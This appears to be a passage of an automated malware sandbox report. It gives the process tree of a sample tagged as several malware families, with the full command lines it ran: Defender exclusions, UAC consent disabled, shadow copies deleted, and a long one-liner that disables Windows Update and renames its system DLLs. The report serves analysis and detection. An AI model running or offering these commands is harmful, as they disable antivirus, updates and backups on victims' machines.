PID 4828 wrote to memory of 4240	4828	9dErgt.exe	156
PID 4240 wrote to memory of 1844	4240	cmd.exe	158
PID 4828 wrote to memory of 4984	4828	9dErgt.exe	159
PID 4984 wrote to memory of 2448	4984	cmd.exe	161
PID 4828 wrote to memory of 3044	4828	9dErgt.exe	162
PID 3044 wrote to memory of 5464	3044	cmd.exe	164
PID 4828 wrote to memory of 556	4828	9dErgt.exe	165
PID 556 wrote to memory of 5536	556	cmd.exe	167
PID 4828 wrote to memory of 1456	4828	9dErgt.exe	168
PID 1456 wrote to memory of 4720	1456	cmd.exe	170
PID 4828 wrote to memory of 2864	4828	9dErgt.exe	171
PID 2864 wrote to memory of 5956	2864	cmd.exe	173
PID 4828 wrote to memory of 5548	4828	9dErgt.exe	174
PID 5548 wrote to memory of 1832	5548	cmd.exe	176
PID 4828 wrote to memory of 2356	4828	9dErgt.exe	177
PID 2356 wrote to memory of 4244	2356	cmd.exe	179
PID 4828 wrote to memory of 4712	4828	9dErgt.exe	180
PID 4712 wrote to memory of 3312	4712	cmd.exe	182
PID 4828 wrote to memory of 4468	4828	9dErgt.exe	183
PID 4468 wrote to memory of 2236	4468	cmd.exe	185
PID 4828 wrote to memory of 2408	4828	9dErgt.exe	186
PID 2408 wrote to memory of 4508	2408	cmd.exe	188
PID 4828 wrote to memory of 5104	4828	9dErgt.exe	191
PID 4828 wrote to memory of 3548	4828	9dErgt.exe	193
PID 4828 wrote to memory of 1952	4828	9dErgt.exe	195
PID 1952 wrote to memory of 6108	1952	cmd.exe	197
PID 3548 wrote to memory of 4652	3548	cmd.exe	198
PID 6108 wrote to memory of 3568	6108	net.exe	199
PID 3548 wrote to memory of 2052	3548	cmd.exe	200

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	9dErgt.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-02_932da1e52517175bf8833ed13e4426cd_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4780

C:\Users\Public\bN53ba\SG1Vyb.exe
"C:\Users\Public\bN53ba\SG1Vyb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bN53ba\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bN53ba\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5532
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3352
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3244
- C:\Program Files (x86)\rpztrB\9dErgt.exe
  "C:\Program Files (x86)\rpztrB\9dErgt.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4828
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2520
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2036
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1124
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\9dErgt.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5260
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\9dErgt.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1576
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\9dErgt.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\9dErgt.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1844
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\9dErgt.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\9dErgt.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5464
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5536
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4720
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4244
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\rpztrB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\rpztrB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4508
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5104
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\rpztrB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\rpztrB\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4652
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2052
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6108
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3568
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3932
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1368
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2516
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:480
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5204
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5184
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4688
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2036
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:876
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5200
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:5268
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1444
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:6024
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5672
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5348
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:476
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4332
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4868
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4844
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:4460
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5304
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:4888
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3352
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1900
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:720
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3196
- - C:\Windows\SysWOW64\cmd.exe
